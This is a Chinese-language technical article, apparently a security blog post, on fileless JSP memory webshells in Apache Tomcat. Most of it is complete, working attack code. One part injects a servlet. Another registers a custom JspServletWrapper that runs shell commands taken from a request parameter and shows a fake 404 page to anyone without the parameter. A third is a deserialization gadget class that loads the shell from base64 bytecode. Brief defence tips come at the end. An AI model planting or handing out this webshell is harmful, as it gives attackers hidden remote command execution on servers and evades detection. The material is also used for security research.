浅析JSP型内存马
字数 910 2025-08-29 08:31:47

JSP型内存马技术分析与实现

前言

JSP型内存马是一种通过内存驻留技术实现的无文件WebShell,主要针对Tomcat容器的JSP处理机制进行攻击。本文详细分析两种实现JSP型内存马的技术思路,并提供完整的实现代码。

技术原理

两种实现思路

  1. 反射关闭development属性:将Tomcat从开发模式转为生产模式
  2. 修改Options对象的modificationTestInterval属性:改变Tomcat检查JSP更新的时间间隔

这两种方法都是针对开发模式的修改,生产环境中JSP检查是通过checkInterval属性实现的。

传统JSP处理流程的问题

传统JSP处理流程中,JspServlet#serviceJspFile方法会检查JSP文件是否存在并装载wrapper,JspServletWrapper类会因mustCompile初始值为true而对JSP进行编译,导致文件落地。

Servlet型内存马实现

基本实现代码

<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request)reqF.get(request);
StandardContext context = (StandardContext)req.getContext();

Servlet servlet = new ServletTest(); // 继承Servlet类的子类
String name = servlet.getClass().getSimpleName();
org.apache.catalina.Wrapper newWrapper = context.createWrapper();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());
context.addChild(newWrapper);
context.addServletMappingDecoded("/cmd", name);
%>

JSP型内存马实现

核心思路

通过控制JspRuntimeContext中的内容,使用addWrapper(String jspUri, JspServletWrapper jsw)方法绑定映射规则,避免文件落地。

完整实现代码

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
class MemJspServletWrapper extends JspServletWrapper {
    public MemJspServletWrapper(ServletConfig config, Options options, JspRuntimeContext rctxt) {
        super(config, options, "", rctxt); // jspUri随便取值
    }

    @Override
    public void service(HttpServletRequest request, HttpServletResponse response, boolean precompile) throws ServletException, IOException, FileNotFoundException {
        String cmd = request.getParameter("jspservlet");
        if (cmd != null) {
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")){
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            PrintWriter out = response.getWriter();
            out.println(output);
            out.flush();
            out.close();
        } else {
            // 伪造404页面
            String msg = Localizer.getMessage("jsp.error.file.not.found", new Object[]{"/tyskill.jsp"});
            response.sendError(404, msg);
        }
    }
}
%>

<%
//从request对象中获取request属性
Field _request = request.getClass().getDeclaredField("request");
_request.setAccessible(true);
Request __request = (Request)_request.get(request);

//获取MappingData
MappingData mappingData = __request.getMappingData();

//获取Wrapper
Field _wrapper = mappingData.getClass().getDeclaredField("wrapper");
_wrapper.setAccessible(true);
Wrapper __wrapper = (Wrapper)_wrapper.get(mappingData);

//获取jspServlet对象
Field _jspServlet = __wrapper.getClass().getDeclaredField("instance");
_jspServlet.setAccessible(true);
Servlet __jspServlet = (Servlet)_jspServlet.get(__wrapper);

// 获取ServletConfig对象
Field _servletConfig = __jspServlet.getClass().getDeclaredField("config");
_servletConfig.setAccessible(true);
ServletConfig __servletConfig = (ServletConfig)_servletConfig.get(__jspServlet);

//获取options中保存的对象
Field _option = __jspServlet.getClass().getDeclaredField("options");
_option.setAccessible(true);
EmbeddedServletOptions __option = (EmbeddedServletOptions)_option.get(__jspServlet);

// 获取JspRuntimeContext对象
Field _jspRuntimeContext = __jspServlet.getClass().getDeclaredField("rctxt");
_jspRuntimeContext.setAccessible(true);
JspRuntimeContext __jspRuntimeContext = (JspRuntimeContext)_jspRuntimeContext.get(__jspServlet);

JspServletWrapper memjsp = new MemJspServletWrapper(__servletConfig, __option, __jspRuntimeContext);
__jspRuntimeContext.addWrapper("/tyskill.jsp", memjsp);
%>

反序列化注入内存马

实现代码

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Container;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.catalina.webresources.StandardRoot;
import org.apache.jasper.EmbeddedServletOptions;
import org.apache.jasper.Options;
import org.apache.jasper.compiler.JspRuntimeContext;
import org.apache.jasper.servlet.JspServletWrapper;
import javax.servlet.Servlet;
import javax.servlet.ServletConfig;
import java.util.HashMap;

public class InjectToJspServlet extends AbstractTranslet {
    private static final String jsppath = "/tyskill.jsp";

    public InjectToJspServlet() {
        try {
            WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardRoot standardroot = (StandardRoot) webappClassLoaderBase.getResources();
            StandardContext standardContext = (StandardContext) standardroot.getContext();

            //从StandardContext 基类 ContainerBase 中获取 children 属性
            HashMap<String, Container> _children = (HashMap<String, Container>) getFieldValue(standardContext, "children");

            //获取 Wrapper
            Wrapper _wrapper = (Wrapper) _children.get("jsp");

            //获取jspServlet对象
            Servlet _jspServlet = (Servlet) getFieldValue(_wrapper, "instance");

            // 获取ServletConfig对象
            ServletConfig _servletConfig = (ServletConfig) getFieldValue(_jspServlet, "config");

            //获取options中保存的对象
            EmbeddedServletOptions _option = (EmbeddedServletOptions) getFieldValue(_jspServlet, "options");

            // 获取JspRuntimeContext对象
            JspRuntimeContext _jspRuntimeContext = (JspRuntimeContext) getFieldValue(_jspServlet, "rctxt");

            String clazzStr = "..."; // 上面代码中MemJspServletWrapper类字节码的base64编码字符串
            byte[] classBytes = java.util.Base64.getDecoder().decode(clazzStr);
            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            method.setAccessible(true);
            Class clazz = (Class) method.invoke(classLoader, classBytes, 0, classBytes.length);

            JspServletWrapper memjsp = (JspServletWrapper) clazz.getDeclaredConstructor(ServletConfig.class, Options.class, JspRuntimeContext.class)
                    .newInstance(_servletConfig, _option, _jspRuntimeContext);
            _jspRuntimeContext.addWrapper(jsppath, memjsp);
        } catch (Exception ignored) {}
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

    private static Object getFieldValue(Object obj, String fieldName) throws Exception {
        java.lang.reflect.Field declaredField;
        java.lang.Class clazz = obj.getClass();
        while (clazz != Object.class) {
            try {
                declaredField = clazz.getDeclaredField(fieldName);
                declaredField.setAccessible(true);
                return declaredField.get(obj);
            } catch (Exception ignored){}
            clazz = clazz.getSuperclass();
        }
        return null;
    }
}

技术总结

技术不足

  1. 由于JSP的servlet处理类通常是JspServletWrapper类,自定义实现容易被检测
  2. 在MVC架构背景下应用场景有限

版本差异

  • Tomcat7: <%@ page import="org.apache.tomcat.util.http.mapper.MappingData" %>
  • Tomcat8/9: <%@ page import="org.apache.catalina.mapper.MappingData" %>

防御建议

  1. 监控JspRuntimeContext的修改操作
  2. 检查自定义JspServletWrapper类的存在
  3. 生产环境关闭development模式
  4. 限制反序列化操作

参考

JSP型内存马技术分析与实现 前言 JSP型内存马是一种通过内存驻留技术实现的无文件WebShell,主要针对Tomcat容器的JSP处理机制进行攻击。本文详细分析两种实现JSP型内存马的技术思路,并提供完整的实现代码。 技术原理 两种实现思路 反射关闭development属性 :将Tomcat从开发模式转为生产模式 修改Options对象的modificationTestInterval属性 :改变Tomcat检查JSP更新的时间间隔 这两种方法都是针对开发模式的修改,生产环境中JSP检查是通过checkInterval属性实现的。 传统JSP处理流程的问题 传统JSP处理流程中, JspServlet#serviceJspFile 方法会检查JSP文件是否存在并装载wrapper, JspServletWrapper 类会因 mustCompile 初始值为true而对JSP进行编译,导致文件落地。 Servlet型内存马实现 基本实现代码 JSP型内存马实现 核心思路 通过控制 JspRuntimeContext 中的内容,使用 addWrapper(String jspUri, JspServletWrapper jsw) 方法绑定映射规则,避免文件落地。 完整实现代码 反序列化注入内存马 实现代码 技术总结 技术不足 由于JSP的servlet处理类通常是 JspServletWrapper 类,自定义实现容易被检测 在MVC架构背景下应用场景有限 版本差异 Tomcat7: <%@ page import="org.apache.tomcat.util.http.mapper.MappingData" %> Tomcat8/9: <%@ page import="org.apache.catalina.mapper.MappingData" %> 防御建议 监控 JspRuntimeContext 的修改操作 检查自定义 JspServletWrapper 类的存在 生产环境关闭development模式 限制反序列化操作 参考 Java Object Searcher